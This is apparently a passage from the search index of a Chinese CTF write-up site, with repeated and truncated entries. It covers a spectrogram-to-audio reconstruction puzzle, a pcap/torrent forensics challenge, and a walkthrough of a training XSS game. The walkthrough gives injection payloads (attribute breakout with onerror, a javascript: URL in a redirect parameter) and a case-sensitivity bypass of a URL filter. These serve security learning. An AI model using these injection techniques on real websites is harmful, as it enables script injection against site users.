\u5f53\u6211\u770b\u5230\u97f3\u9891\u64ad\u653e\u5668\u4e2d\u8df3\u52a8\u7684\u9891\u8c31\u52a8\u753b\uff0c\u6708\u660e\u661f\u7a00\u7684\u591c\u665a\uff0c\u6df1\u9083\u7684\u94f6\u6cb3\uff0c\u53ea\u6709\u5929\u4f7f\u5728\u6d45\u541f\u4f4e\u5531\uff0c\u590d\u6742\u7684\u60c5\u611f\u4e8e\u6211\u773c\u4e2d\u6ea2\u51fa\uff0c\u50cf\u662f\u6c89\u5165\u4e86\u96fe\u91cc\u6726\u80e7\u7684\u6d77\u4e00\u6837\u7684\u6e29\u67d4\u3002 \u8fd9\u4e00\u523b\u6211\u624d\u77e5\u9053\uff0c\u8033\u673a\u97f3\u54cd\u4e5f\u5c31\u56fe\u4e00\u4e50\uff0c\u771f\u542c\u97f3\u4e50\u8fd8\u5f97\u9760\u773c\u775b\u3002 \uff08\u6ce8\u610f\uff1aflag \u82b1\u62ec\u53f7\u5185\u662f\u4e00\u4e2a 12 \u4f4d\u6574\u6570\uff0c\u7531 0-9 \u6570\u4f4d\u7ec4\u6210\uff0c\u6ca1\u6709\u5176\u5b83\u5b57\u7b26\u3002\uff09 generate_sound_visualization.py #!/usr/bin/env python3 from array2gif import write_gif # version: 1.0.4 import librosa # version: 0.8.1 import numpy # version: 1.19.5 num_freqs = 32 quantize = 2 min_db = - 60 max_db = 30 fft_window_size = 2048 frame_step_size = 512 window_function_type = 'hann' red_pixel = [ 255 , 0 , 0 ] white_pixel = [ 255 , 255 , 255 ] y , sample_rate = librosa . load ( \"flag.mp3\" ) # sample rate is 22050 Hz spectrogram = ( numpy . around ( librosa . power_to_db ( librosa . feature . melspectrogram ( y , sample_rate , n_mels = num_freqs , n_fft = fft_window_size , hop_length = frame_step_size , window = window_function_type )) / quantize ) * quantize ) gif_data = [ numpy . kron ( numpy . array ([[ red_pixel if freq % 2 and round ( frame [ freq // 2 ]) > threshold else white_pixel for threshold in list ( range ( min_db , max_db + 1 , quantize ))[:: - 1 ]] for freq in range ( num_freqs * 2 + 1 )]), numpy . ones ([ quantize , quantize , 1 ])) for frame in spectrogram . transpose ()] write_gif ( gif_data , 'flag.gif' , fps = sample_rate / frame_step_size ) \u89e3\u9898\u601d\u8def \u00b6 \u9996\u5148\u9700\u8981\u83b7\u53d6 GIF \u4e2d\u7684\u6570\u636e\u3002\u770b\u5230 write_gif() \u51fd\u6570\u731c\u60f3\u5e94\u8be5\u6709\u9006\u51fd\u6570\uff0c\u4e8e\u662f\u627e\u5230\u4e86 bunkahle/gif2numpy \u3002\u53ef\u60dc\u4f7f\u7528\u5176\u4ed6\u97f3\u9891\u751f\u6210\u7684 GIF \u8fdb\u884c\u6d4b\u8bd5\u7684\u65f6\u5019\uff0c\u53d1\u73b0\u8bfb\u53d6\u7684\u6570\u636e\u6709\u635f\u5931\uff0c\u6700\u540e\u8fd8\u662f\u4f7f\u7528\u4e86 PIL from PIL import Image , ImageSequence img = Image . open ( 'flag.gif' ) np_frames = numpy . array ([ numpy . array ( frame . copy () . convert ( 'RGB' ) . getdata (), dtype = numpy . uint8 ) . reshape ( frame . size [ 1 ], frame . size [ 0 ], 3 ) for frame in ImageSequence . Iterator ( img )]) power_to_db \u548c melspectrogram \u5206\u522b\u6709\u9006\u51fd\u6570 db_to_power \u548c mel_to_audio \uff0c\u53ea\u8981\u83b7\u5f97 spectrogram \uff08\u65f6\u9891\u8c31\uff09 \u5c31\u53ef\u4ee5\u4e86 \u65f6\u9891\u8c31\u56fe\uff08\u8bed\u8c31\u56fe\uff09\uff0c\u6a2a\u8f74\u4e3a\u65f6\u95f4\uff0c\u7eb5\u8f74\u4e3a\u9891\u7387\uff0c\u989c\u8272\u8868\u793a\u5e45\u503c \u5206\u6790 gif_data \u7684\u751f\u6210\u8fc7\u7a0b\uff08\u76f4\u63a5\u4f7f\u7528\u5176\u4ed6\u97f3\u9891\u5bf9\u6bd4 spectrogram \u548c gif_data \u66f4\u76f4\u89c2\uff09 [ numpy . kron ( numpy . array ( [ [ red_pixel if freq % 2 and round ( frame [ freq // 2 ]) > threshold else white_pixel for threshold in list ( range ( min_db , max_db + 1 , quantize ))[:: - 1 ] ] for freq in range ( num_freqs * 2 + 1 ) ] ), numpy . ones ([ quantize , quantize , 1 ]) ) for frame in spectrogram . transpose () # \u77e9\u9635\u8f6c\u7f6e\uff0c\u65f6\u57df -> \u9891\u57df ] gif_data \u4e3a\u56db\u7ef4\u6570\u7ec4 \u7b2c\u4e00\u7ef4\u4e3a\u5e27\uff0c\u4ee3\u8868\u65f6\u95f4 \u7b2c\u4e8c\u7ef4\u4e3a\u56fe\u50cf\u6a2a\u5411\u6570\u636e\uff0c\u5373\u4e0d\u540c\u9891\u7387 \u7b2c\u4e09\u7ef4\u4e3a\u56fe\u50cf\u7eb5\u5411\u6570\u636e\uff0c\u5373\u5404\u9891\u7387\u7684\u5f3a\u5ea6 \u7b2c\u56db\u7ef4\u662f\u50cf\u7d20\u70b9 RGB \u503c \u8f6c\u6362 GIF \u6570\u636e spectrogram = numpy . zeros ([ 32 , len ( np_frames )], dtype = numpy . float32 ) for i in range ( len ( np_frames )): for h in range ( len ( np_frames [ i ])): for w in range ( 2 , len ( np_frames [ i ][ h ]), 2 ): if 0 in np_frames [ i ][ h ][ w ]: spectrogram [( w + 2 ) // 4 - 1 ][ i ] = max ( spectrogram [( w + 2 ) // 4 - 1 ][ i ], 92 - h ) # \u9ad8\u5728\u6570\u7ec4\u4e2d\u4e3a\u5012\u5e8f\u5b58\u50a8 for i in range ( len ( spectrogram )): for j in range ( len ( spectrogram [ i ])): spectrogram [ i ][ j ] -= 60 # \u8f6c\u5316\u5230 [-60, 30] \u751f\u6210\u97f3\u9891\u6587\u4ef6\uff0c\u6253\u5f00\u505a\u4e2a\u82f1\u8bed\u542c\u529b\u5c31\u53ef\u4ee5\u4e86 XD import soundfile S = librosa . feature . inverse . mel_to_audio ( librosa . db_to_power ( spectrogram ), hop_length = frame_step_size , window = window_function_type ) soundfile . write ( 'flag.wav' , S , sample_rate ) \u53c2\u8003\u8d44\u6599 \u00b6 tanyaschlusser/array2gif","title":"p\ud83d\ude2dq"},{"location":"misc/p_q/#_1","text":"\u5b66\u4f1a\u5085\u91cc\u53f6\u7684\u4e00\u77ac\u95f4\uff0c\u6094\u6068\u7684\u6cea\u6c34\u6d41\u4e86\u4e0b\u6765\u3002 \u5f53\u6211\u770b\u5230\u97f3\u9891\u64ad\u653e\u5668\u4e2d\u8df3\u52a8\u7684\u9891\u8c31\u52a8\u753b\uff0c\u6708\u660e\u661f\u7a00\u7684\u591c\u665a\uff0c\u6df1\u9083\u7684\u94f6\u6cb3\uff0c\u53ea\u6709\u5929\u4f7f\u5728\u6d45\u541f\u4f4e\u5531\uff0c\u590d\u6742\u7684\u60c5\u611f\u4e8e\u6211\u773c\u4e2d\u6ea2\u51fa\uff0c\u50cf\u662f\u6c89\u5165\u4e86\u96fe\u91cc\u6726\u80e7\u7684\u6d77\u4e00\u6837\u7684\u6e29\u67d4\u3002 \u8fd9\u4e00\u523b\u6211\u624d\u77e5\u9053\uff0c\u8033\u673a\u97f3\u54cd\u4e5f\u5c31\u56fe\u4e00\u4e50\uff0c\u771f\u542c\u97f3\u4e50\u8fd8\u5f97\u9760\u773c\u775b\u3002 \uff08\u6ce8\u610f\uff1aflag \u82b1\u62ec\u53f7\u5185\u662f\u4e00\u4e2a 12 \u4f4d\u6574\u6570\uff0c\u7531 0-9 \u6570\u4f4d\u7ec4\u6210\uff0c\u6ca1\u6709\u5176\u5b83\u5b57\u7b26\u3002\uff09 generate_sound_visualization.py #!/usr/bin/env python3 from array2gif import write_gif # version: 1.0.4 import librosa # version: 0.8.1 import numpy # version: 1.19.5 num_freqs = 32 quantize = 2 min_db = - 60 max_db = 30 fft_window_size = 2048 frame_step_size = 512 window_function_type = 'hann' red_pixel = [ 255 , 0 , 0 ] white_pixel = [ 255 , 255 , 255 ] y , sample_rate = librosa . load ( \"flag.mp3\" ) # sample rate is 22050 Hz spectrogram = ( numpy . around ( librosa . power_to_db ( librosa . feature . melspectrogram ( y , sample_rate , n_mels = num_freqs , n_fft = fft_window_size , hop_length = frame_step_size , window = window_function_type )) / quantize ) * quantize ) gif_data = [ numpy . kron ( numpy . array ([[ red_pixel if freq % 2 and round ( frame [ freq // 2 ]) > threshold else white_pixel for threshold in list ( range ( min_db , max_db + 1 , quantize ))[:: - 1 ]] for freq in range ( num_freqs * 2 + 1 )]), numpy . ones ([ quantize , quantize , 1 ])) for frame in spectrogram . transpose ()] write_gif ( gif_data , 'flag.gif' , fps = sample_rate / frame_step_size )","title":"\u9898\u76ee"},{"location":"misc/p_q/#_2","text":"\u9996\u5148\u9700\u8981\u83b7\u53d6 GIF \u4e2d\u7684\u6570\u636e\u3002\u770b\u5230 write_gif() \u51fd\u6570\u731c\u60f3\u5e94\u8be5\u6709\u9006\u51fd\u6570\uff0c\u4e8e\u662f\u627e\u5230\u4e86 bunkahle/gif2numpy \u3002\u53ef\u60dc\u4f7f\u7528\u5176\u4ed6\u97f3\u9891\u751f\u6210\u7684 GIF \u8fdb\u884c\u6d4b\u8bd5\u7684\u65f6\u5019\uff0c\u53d1\u73b0\u8bfb\u53d6\u7684\u6570\u636e\u6709\u635f\u5931\uff0c\u6700\u540e\u8fd8\u662f\u4f7f\u7528\u4e86 PIL from PIL import Image , ImageSequence img = Image . open ( 'flag.gif' ) np_frames = numpy . array ([ numpy . array ( frame . copy () . convert ( 'RGB' ) . getdata (), dtype = numpy . uint8 ) . reshape ( frame . size [ 1 ], frame . size [ 0 ], 3 ) for frame in ImageSequence . Iterator ( img )]) power_to_db \u548c melspectrogram \u5206\u522b\u6709\u9006\u51fd\u6570 db_to_power \u548c mel_to_audio \uff0c\u53ea\u8981\u83b7\u5f97 spectrogram \uff08\u65f6\u9891\u8c31\uff09 \u5c31\u53ef\u4ee5\u4e86 \u65f6\u9891\u8c31\u56fe\uff08\u8bed\u8c31\u56fe\uff09\uff0c\u6a2a\u8f74\u4e3a\u65f6\u95f4\uff0c\u7eb5\u8f74\u4e3a\u9891\u7387\uff0c\u989c\u8272\u8868\u793a\u5e45\u503c \u5206\u6790 gif_data \u7684\u751f\u6210\u8fc7\u7a0b\uff08\u76f4\u63a5\u4f7f\u7528\u5176\u4ed6\u97f3\u9891\u5bf9\u6bd4 spectrogram \u548c gif_data \u66f4\u76f4\u89c2\uff09 [ numpy . kron ( numpy . array ( [ [ red_pixel if freq % 2 and round ( frame [ freq // 2 ]) > threshold else white_pixel for threshold in list ( range ( min_db , max_db + 1 , quantize ))[:: - 1 ] ] for freq in range ( num_freqs * 2 + 1 ) ] ), numpy . ones ([ quantize , quantize , 1 ]) ) for frame in spectrogram . transpose () # \u77e9\u9635\u8f6c\u7f6e\uff0c\u65f6\u57df -> \u9891\u57df ] gif_data \u4e3a\u56db\u7ef4\u6570\u7ec4 \u7b2c\u4e00\u7ef4\u4e3a\u5e27\uff0c\u4ee3\u8868\u65f6\u95f4 \u7b2c\u4e8c\u7ef4\u4e3a\u56fe\u50cf\u6a2a\u5411\u6570\u636e\uff0c\u5373\u4e0d\u540c\u9891\u7387 \u7b2c\u4e09\u7ef4\u4e3a\u56fe\u50cf\u7eb5\u5411\u6570\u636e\uff0c\u5373\u5404\u9891\u7387\u7684\u5f3a\u5ea6 \u7b2c\u56db\u7ef4\u662f\u50cf\u7d20\u70b9 RGB \u503c \u8f6c\u6362 GIF \u6570\u636e spectrogram = numpy . zeros ([ 32 , len ( np_frames )], dtype = numpy . float32 ) for i in range ( len ( np_frames )): for h in range ( len ( np_frames [ i ])): for w in range ( 2 , len ( np_frames [ i ][ h ]), 2 ): if 0 in np_frames [ i ][ h ][ w ]: spectrogram [( w + 2 ) // 4 - 1 ][ i ] = max ( spectrogram [( w + 2 ) // 4 - 1 ][ i ], 92 - h ) # \u9ad8\u5728\u6570\u7ec4\u4e2d\u4e3a\u5012\u5e8f\u5b58\u50a8 for i in range ( len ( spectrogram )): for j in range ( len ( spectrogram [ i ])): spectrogram [ i ][ j ] -= 60 # \u8f6c\u5316\u5230 [-60, 30] \u751f\u6210\u97f3\u9891\u6587\u4ef6\uff0c\u6253\u5f00\u505a\u4e2a\u82f1\u8bed\u542c\u529b\u5c31\u53ef\u4ee5\u4e86 XD import soundfile S = librosa . feature . inverse . mel_to_audio ( librosa . db_to_power ( spectrogram ), hop_length = frame_step_size , window = window_function_type ) soundfile . write ( 'flag.wav' , S , sample_rate )","title":"\u89e3\u9898\u601d\u8def"},{"location":"misc/p_q/#_3","text":"tanyaschlusser/array2gif","title":"\u53c2\u8003\u8d44\u6599"},{"location":"misc/pirates/","text":"\u9898\u76ee \u00b6 Mr.Reed and his pirating ring has finally been caught by the police but unfortunately we dont have enough evidence to indict him. All we could get is a network capture of his private network.Can you find any evidence to be used against him ? \u89e3\u9898\u601d\u8def \u00b6 \u67e5\u770b network_listen.pcap \uff0c\u7b5b\u9009 HTTP \u6d41\uff0c\u6ce8\u610f\u5230\u4e0b\u8f7d\u4e86\u4e00\u4e2a\u79cd\u5b50\u6587\u4ef6 \u96be\u9053\u4fe1\u606f\u9690\u85cf\u5728 MP4 \u91cc\u4e48\uff1f\u4f7f\u7528 Wireshark \u5bfc\u51fa i_COULD_have_the_flag.mp4.torrent \uff0c\u5e76\u4e22\u5230 Deluge \u5c1d\u8bd5\u4e0b\u8f7d \u53d1\u73b0\u4e0b\u8f7d\u8fdf\u8fdf\u6ca1\u6709\u5f00\u59cb\uff0c\u7591\u60d1 (\u014f\u03c9\u014f) \u6ce8\u610f\u5230 Trackers \u6709\u62a5\u9519\uff0c\u770b\u770b\u62a5\u9519\u4fe1\u606f\uff1a \u9519\u8bef: unsupported URL protocol \uff0cURL \u6709\u95ee\u9898\uff1f \u7f16\u8f91Trackers \uff0c\u6253\u5f00\u5c31\u770b\u5230 Flag\uff01\u2299w\u2299","title":"Pirates"},{"location":"misc/pirates/#_1","text":"Mr.Reed and his pirating ring has finally been caught by the police but unfortunately we dont have enough evidence to indict him. All we could get is a network capture of his private network.Can you find any evidence to be used against him ?","title":"\u9898\u76ee"},{"location":"misc/pirates/#_2","text":"\u67e5\u770b network_listen.pcap \uff0c\u7b5b\u9009 HTTP \u6d41\uff0c\u6ce8\u610f\u5230\u4e0b\u8f7d\u4e86\u4e00\u4e2a\u79cd\u5b50\u6587\u4ef6 \u96be\u9053\u4fe1\u606f\u9690\u85cf\u5728 MP4 \u91cc\u4e48\uff1f\u4f7f\u7528 Wireshark \u5bfc\u51fa i_COULD_have_the_flag.mp4.torrent \uff0c\u5e76\u4e22\u5230 Deluge \u5c1d\u8bd5\u4e0b\u8f7d \u53d1\u73b0\u4e0b\u8f7d\u8fdf\u8fdf\u6ca1\u6709\u5f00\u59cb\uff0c\u7591\u60d1 (\u014f\u03c9\u014f) \u6ce8\u610f\u5230 Trackers \u6709\u62a5\u9519\uff0c\u770b\u770b\u62a5\u9519\u4fe1\u606f\uff1a \u9519\u8bef: unsupported URL protocol \uff0cURL \u6709\u95ee\u9898\uff1f \u7f16\u8f91Trackers \uff0c\u6253\u5f00\u5c31\u770b\u5230 Flag\uff01\u2299w\u2299","title":"\u89e3\u9898\u601d\u8def"},{"location":"misc/s_script_gi/","text":"\u9898\u76ee \u00b6 Can you figure out why s/ \u5728\u672c\u5173\u4e0d\u8d77\u4f5c\u7528 \u5229\u7528\u6807\u7b7e\u4e8b\u4ef6\u5c5e\u6027\uff0c Level 3: That sinking feeling... \u00b6 \u8bbf\u95ee\u5305\u542b\u6307\u5b9a\u56fe\u7247\u7684\u94fe\u63a5\u7531\u57fa\u7840\u94fe\u63a5 https://xss-game.appspot.com/level3/frame# \u548c\u56fe\u7247\u5e8f\u53f7\u7ec4\u6210\u3002\u8f93\u5165\u5e8f\u53f7 hi \u8fdb\u884c\u6d4b\u8bd5\uff0c\u53d1\u73b0\u8be5\u300e\u5e8f\u53f7\u300f\u76f4\u63a5\u62fc\u63a5\u5230\u4e86 \u6807\u7b7e\u7684 src \u5c5e\u6027\u4e2d \u4e0d\u8fc7\u9700\u8981\u6ce8\u610f\u53ea\u6709\u5355\u5f15\u53f7\u624d\u53ef\u4ee5\u622a\u65ad\uff0c\u67e5\u770b JS \u4ee3\u7801\u53ef\u77e5 \u5355\u5f15\u53f7\u622a\u65ad\uff0c\u63d2\u5165 onerror \u5c5e\u6027\uff0c\u5b8c\u6210\u5f39\u6846 Level 4: Context matters \u00b6 \u63d0\u4ea4\u4e00\u4e2a\u6574\u6570\uff0c\u4f1a\u542f\u52a8\u4e00\u4e2a\u8ba1\u65f6\u5668\u5e76\u5728\u6574\u6570\uff08\u63d0\u4ea4\u7684\u6574\u6570\uff09\u79d2\u540e\u5f39\u6846\uff0c\u63d0\u793a\u300e\u8ba1\u65f6\u7ed3\u675f\u300f \u67e5\u770b\u6e90\u7801\uff0c\u6ce8\u610f\u5230 < img src = \"/static/loading.gif\" onload = \"startTimer('{{ timer }}');\" /> \u63d0\u4ea4\u4e00\u4e2a\u5355\u5f15\u53f7 ' \uff0c\u63a7\u5236\u53f0\u4f1a\u62a5\u9519\uff0c\u610f\u5473\u7740\u9003\u9038\u7684\u53ef\u80fd\u6027 \u4e8b\u4ef6\u5c5e\u6027\u4e2d\u53ef\u4ee5\u6dfb\u52a0\u591a\u4e2a\u51fd\u6570\uff0c\u5728 onload \u4e8b\u4ef6\u5c5e\u6027\u4e2d\u518d\u585e\u4e00\u4e2a alert \u51fd\u6570\u5c31\u53ef\u4ee5\u4e86\u5495\uff01 Level 5: Breaking protocol \u00b6 \u5171\u4e09\u4e2a\u754c\u9762\uff1a\u4e3b\u754c\u9762\u3001\u6ce8\u518c\u754c\u9762\u548c\u6ce8\u518c\u5b8c\u6210\u63d0\u793a\u8df3\u8f6c\u7684\u754c\u9762 \u6ce8\u518c\u754c\u9762\u7684 URL \u5305\u542b\u53c2\u6570 next \uff0c\u540c\u65f6\u6ce8\u518c\u754c\u9762\u7684 Next >> \u6309\u94ae\u7684 href \u5c5e\u6027\u7684\u503c\u7531\u8be5\u53c2\u6570\u51b3\u5b9a # part of level.py if \"signup\" in self . request . path : self . render_template ( 'signup.html' , { 'next' : self . request . get ( 'next' )}) # part of signup.html < a href = \"{{ next }}\" > Next >> href \u5c5e\u6027\u53ef\u4ee5\u94fe\u63a5 JS\u3002\u8bbf\u95ee https://xss-game.appspot.com/level5/frame/signup?next=javascript:alert(1 )\uff0c\u5e76\u70b9\u51fb Next >> \u53ef\u5f39\u6846 Level 6: Follow the \ud83d\udc07 \u00b6 \u8bbf\u95ee\u6587\u4ef6\u7684\u6587\u4ef6\u540d\u662f\u901a\u8fc7\u8bbf\u95ee URL \u4e2d # \u540e\u7684\u5b57\u7b26\u4e32\u51b3\u5b9a\uff0c\u622a\u53d6\u5b57\u7b26\u4e32\u540e\u4f20\u9012\u7ed9 includeGadget \u51fd\u6570\u505a\u540e\u7eed\u5904\u7406 // Take the value after # and use it as the gadget filename. function getGadgetName() { return window.location.hash.substr(1) || \"/static/gadget.js\"; } includeGadget(getGadgetName()); function includeGadget(url) { // \u521b\u5efa\u4e00\u4e2a script \u6807\u7b7e var scriptEl = document.createElement('script'); // This will totally prevent us from loading evil URLs! // \u53ea\u5339\u914d\u5c0f\u5199\uff0c\u5927\u5199\u5373\u53ef\u7ed5\u8fc7 if (url.match(/^https?:\\/\\//)) { setInnerText(document.getElementById(\"log\"), \"Sorry, cannot load a URL containing \\\"http\\\".\"); return; } // Load this awesome gadget scriptEl.src = url; // Show log messages scriptEl.onload = function() { setInnerText(document.getElementById(\"log\"), \"Loaded gadget from \" + url); } scriptEl.onerror = function() { setInnerText(document.getElementById(\"log\"), \"Couldn't load gadget from \" + url); } // \u63d2\u5165\u5230 head \u4e2d document.head.appendChild(scriptEl); } \u5728\u672c\u5173\u4e0d\u8d77\u4f5c\u7528 \u5229\u7528\u6807\u7b7e\u4e8b\u4ef6\u5c5e\u6027\uff0c ","title":"Level 2: Persistence is key"},{"location":"web/xss_game/#level-3-that-sinking-feeling","text":"\u8bbf\u95ee\u5305\u542b\u6307\u5b9a\u56fe\u7247\u7684\u94fe\u63a5\u7531\u57fa\u7840\u94fe\u63a5 https://xss-game.appspot.com/level3/frame# \u548c\u56fe\u7247\u5e8f\u53f7\u7ec4\u6210\u3002\u8f93\u5165\u5e8f\u53f7 hi \u8fdb\u884c\u6d4b\u8bd5\uff0c\u53d1\u73b0\u8be5\u300e\u5e8f\u53f7\u300f\u76f4\u63a5\u62fc\u63a5\u5230\u4e86 \u6807\u7b7e\u7684 src \u5c5e\u6027\u4e2d \u4e0d\u8fc7\u9700\u8981\u6ce8\u610f\u53ea\u6709\u5355\u5f15\u53f7\u624d\u53ef\u4ee5\u622a\u65ad\uff0c\u67e5\u770b JS \u4ee3\u7801\u53ef\u77e5 \u5355\u5f15\u53f7\u622a\u65ad\uff0c\u63d2\u5165 onerror \u5c5e\u6027\uff0c\u5b8c\u6210\u5f39\u6846","title":"Level 3: That sinking feeling..."},{"location":"web/xss_game/#level-4-context-matters","text":"\u63d0\u4ea4\u4e00\u4e2a\u6574\u6570\uff0c\u4f1a\u542f\u52a8\u4e00\u4e2a\u8ba1\u65f6\u5668\u5e76\u5728\u6574\u6570\uff08\u63d0\u4ea4\u7684\u6574\u6570\uff09\u79d2\u540e\u5f39\u6846\uff0c\u63d0\u793a\u300e\u8ba1\u65f6\u7ed3\u675f\u300f \u67e5\u770b\u6e90\u7801\uff0c\u6ce8\u610f\u5230 < img src = \"/static/loading.gif\" onload = \"startTimer('{{ timer }}');\" /> \u63d0\u4ea4\u4e00\u4e2a\u5355\u5f15\u53f7 ' \uff0c\u63a7\u5236\u53f0\u4f1a\u62a5\u9519\uff0c\u610f\u5473\u7740\u9003\u9038\u7684\u53ef\u80fd\u6027 \u4e8b\u4ef6\u5c5e\u6027\u4e2d\u53ef\u4ee5\u6dfb\u52a0\u591a\u4e2a\u51fd\u6570\uff0c\u5728 onload \u4e8b\u4ef6\u5c5e\u6027\u4e2d\u518d\u585e\u4e00\u4e2a alert \u51fd\u6570\u5c31\u53ef\u4ee5\u4e86\u5495\uff01","title":"Level 4: Context matters"},{"location":"web/xss_game/#level-5-breaking-protocol","text":"\u5171\u4e09\u4e2a\u754c\u9762\uff1a\u4e3b\u754c\u9762\u3001\u6ce8\u518c\u754c\u9762\u548c\u6ce8\u518c\u5b8c\u6210\u63d0\u793a\u8df3\u8f6c\u7684\u754c\u9762 \u6ce8\u518c\u754c\u9762\u7684 URL \u5305\u542b\u53c2\u6570 next \uff0c\u540c\u65f6\u6ce8\u518c\u754c\u9762\u7684 Next >> \u6309\u94ae\u7684 href \u5c5e\u6027\u7684\u503c\u7531\u8be5\u53c2\u6570\u51b3\u5b9a # part of level.py if \"signup\" in self . request . path : self . render_template ( 'signup.html' , { 'next' : self . request . get ( 'next' )}) # part of signup.html < a href = \"{{ next }}\" > Next >> href \u5c5e\u6027\u53ef\u4ee5\u94fe\u63a5 JS\u3002\u8bbf\u95ee https://xss-game.appspot.com/level5/frame/signup?next=javascript:alert(1 )\uff0c\u5e76\u70b9\u51fb Next >> \u53ef\u5f39\u6846","title":"Level 5: Breaking protocol"},{"location":"web/xss_game/#level-6-follow-the","text":"\u8bbf\u95ee\u6587\u4ef6\u7684\u6587\u4ef6\u540d\u662f\u901a\u8fc7\u8bbf\u95ee URL \u4e2d # \u540e\u7684\u5b57\u7b26\u4e32\u51b3\u5b9a\uff0c\u622a\u53d6\u5b57\u7b26\u4e32\u540e\u4f20\u9012\u7ed9 includeGadget \u51fd\u6570\u505a\u540e\u7eed\u5904\u7406 // Take the value after # and use it as the gadget filename. function getGadgetName() { return window.location.hash.substr(1) || \"/static/gadget.js\"; } includeGadget(getGadgetName()); function includeGadget(url) { // \u521b\u5efa\u4e00\u4e2a script \u6807\u7b7e var scriptEl = document.createElement('script'); // This will totally prevent us from loading evil URLs! // \u53ea\u5339\u914d\u5c0f\u5199\uff0c\u5927\u5199\u5373\u53ef\u7ed5\u8fc7 if (url.match(/^https?:\\/\\//)) { setInnerText(document.getElementById(\"log\"), \"Sorry, cannot load a URL containing \\\"http\\\".\"); return; } // Load this awesome gadget scriptEl.src = url; // Show log messages scriptEl.onload = function() { setInnerText(document.getElementById(\"log\"), \"Loaded gadget from \" + url); } scriptEl.onerror = function() { setInnerText(document.getElementById(\"log\"), \"Couldn't load gadget from \" + url); } // \u63d2\u5165\u5230 head \u4e2d document.head.appendChild(scriptEl); } \u5728\u672c\u5173\u4e0d\u8d77\u4f5c\u7528 \u5229\u7528\u6807\u7b7e\u4e8b\u4ef6\u5c5e\u6027\uff0c Level 3: That sinking feeling... \u00b6 \u8bbf\u95ee\u5305\u542b\u6307\u5b9a\u56fe\u7247\u7684\u94fe\u63a5\u7531\u57fa\u7840\u94fe\u63a5 https://xss-game.appspot.com/level3/frame# \u548c\u56fe\u7247\u5e8f\u53f7\u7ec4\u6210\u3002\u8f93\u5165\u5e8f\u53f7 hi \u8fdb\u884c\u6d4b\u8bd5\uff0c\u53d1\u73b0\u8be5\u300e\u5e8f\u53f7\u300f\u76f4\u63a5\u62fc\u63a5\u5230\u4e86 \u6807\u7b7e\u7684 src \u5c5e\u6027\u4e2d \u4e0d\u8fc7\u9700\u8981\u6ce8\u610f\u53ea\u6709\u5355\u5f15\u53f7\u624d\u53ef\u4ee5\u622a\u65ad\uff0c\u67e5\u770b JS \u4ee3\u7801\u53ef\u77e5 \u5355\u5f15\u53f7\u622a\u65ad\uff0c\u63d2\u5165 onerror \u5c5e\u6027\uff0c\u5b8c\u6210\u5f39\u6846 Level 4: Context matters \u00b6 \u63d0\u4ea4\u4e00\u4e2a\u6574\u6570\uff0c\u4f1a\u542f\u52a8\u4e00\u4e2a\u8ba1\u65f6\u5668\u5e76\u5728\u6574\u6570\uff08\u63d0\u4ea4\u7684\u6574\u6570\uff09\u79d2\u540e\u5f39\u6846\uff0c\u63d0\u793a\u300e\u8ba1\u65f6\u7ed3\u675f\u300f \u67e5\u770b\u6e90\u7801\uff0c\u6ce8\u610f\u5230 < img src = \"/static/loading.gif\" onload = \"startTimer('{{ timer }}');\" /> \u63d0\u4ea4\u4e00\u4e2a\u5355\u5f15\u53f7 ' \uff0c\u63a7\u5236\u53f0\u4f1a\u62a5\u9519\uff0c\u610f\u5473\u7740\u9003\u9038\u7684\u53ef\u80fd\u6027 \u4e8b\u4ef6\u5c5e\u6027\u4e2d\u53ef\u4ee5\u6dfb\u52a0\u591a\u4e2a\u51fd\u6570\uff0c\u5728 onload \u4e8b\u4ef6\u5c5e\u6027\u4e2d\u518d\u585e\u4e00\u4e2a alert \u51fd\u6570\u5c31\u53ef\u4ee5\u4e86\u5495\uff01 Level 5: Breaking protocol \u00b6 \u5171\u4e09\u4e2a\u754c\u9762\uff1a\u4e3b\u754c\u9762\u3001\u6ce8\u518c\u754c\u9762\u548c\u6ce8\u518c\u5b8c\u6210\u63d0\u793a\u8df3\u8f6c\u7684\u754c\u9762 \u6ce8\u518c\u754c\u9762\u7684 URL \u5305\u542b\u53c2\u6570 next \uff0c\u540c\u65f6\u6ce8\u518c\u754c\u9762\u7684 Next >> \u6309\u94ae\u7684 href \u5c5e\u6027\u7684\u503c\u7531\u8be5\u53c2\u6570\u51b3\u5b9a # part of level.py if \"signup\" in self . request . path : self . render_template ( 'signup.html' , { 'next' : self . request . get ( 'next' )}) # part of signup.html < a href = \"{{ next }}\" > Next >> href \u5c5e\u6027\u53ef\u4ee5\u94fe\u63a5 JS\u3002\u8bbf\u95ee https://xss-game.appspot.com/level5/frame/signup?next=javascript:alert(1 )\uff0c\u5e76\u70b9\u51fb Next >> \u53ef\u5f39\u6846 Level 6: Follow the \ud83d\udc07 \u00b6 \u8bbf\u95ee\u6587\u4ef6\u7684\u6587\u4ef6\u540d\u662f\u901a\u8fc7\u8bbf\u95ee URL \u4e2d # \u540e\u7684\u5b57\u7b26\u4e32\u51b3\u5b9a\uff0c\u622a\u53d6\u5b57\u7b26\u4e32\u540e\u4f20\u9012\u7ed9 includeGadget \u51fd\u6570\u505a\u540e\u7eed\u5904\u7406 // Take the value after # and use it as the gadget filename. function getGadgetName() { return window.location.hash.substr(1) || \"/static/gadget.js\"; } includeGadget(getGadgetName()); function includeGadget(url) { // \u521b\u5efa\u4e00\u4e2a script \u6807\u7b7e var scriptEl = document.createElement('script'); // This will totally prevent us from loading evil URLs! // \u53ea\u5339\u914d\u5c0f\u5199\uff0c\u5927\u5199\u5373\u53ef\u7ed5\u8fc7 if (url.match(/^https?:\\/\\//)) { setInnerText(document.getElementById(\"log\"), \"Sorry, cannot load a URL containing \\\"http\\\".\"); return; } // Load this awesome gadget scriptEl.src = url; // Show log messages scriptEl.onload = function() { setInnerText(document.getElementById(\"log\"), \"Loaded gadget from \" + url); } scriptEl.onerror = function() { setInnerText(document.getElementById(\"log\"), \"Couldn't load gadget from \" + url); } // \u63d2\u5165\u5230 head \u4e2d document.head.appendChild(scriptEl); } \u5728\u672c\u5173\u4e0d\u8d77\u4f5c\u7528 \u5229\u7528\u6807\u7b7e\u4e8b\u4ef6\u5c5e\u6027\uff0c ","title":"Level 2: Persistence is key"},{"location":"web/xss_game/#level-3-that-sinking-feeling","text":"\u8bbf\u95ee\u5305\u542b\u6307\u5b9a\u56fe\u7247\u7684\u94fe\u63a5\u7531\u57fa\u7840\u94fe\u63a5 https://xss-game.appspot.com/level3/frame# \u548c\u56fe\u7247\u5e8f\u53f7\u7ec4\u6210\u3002\u8f93\u5165\u5e8f\u53f7 hi 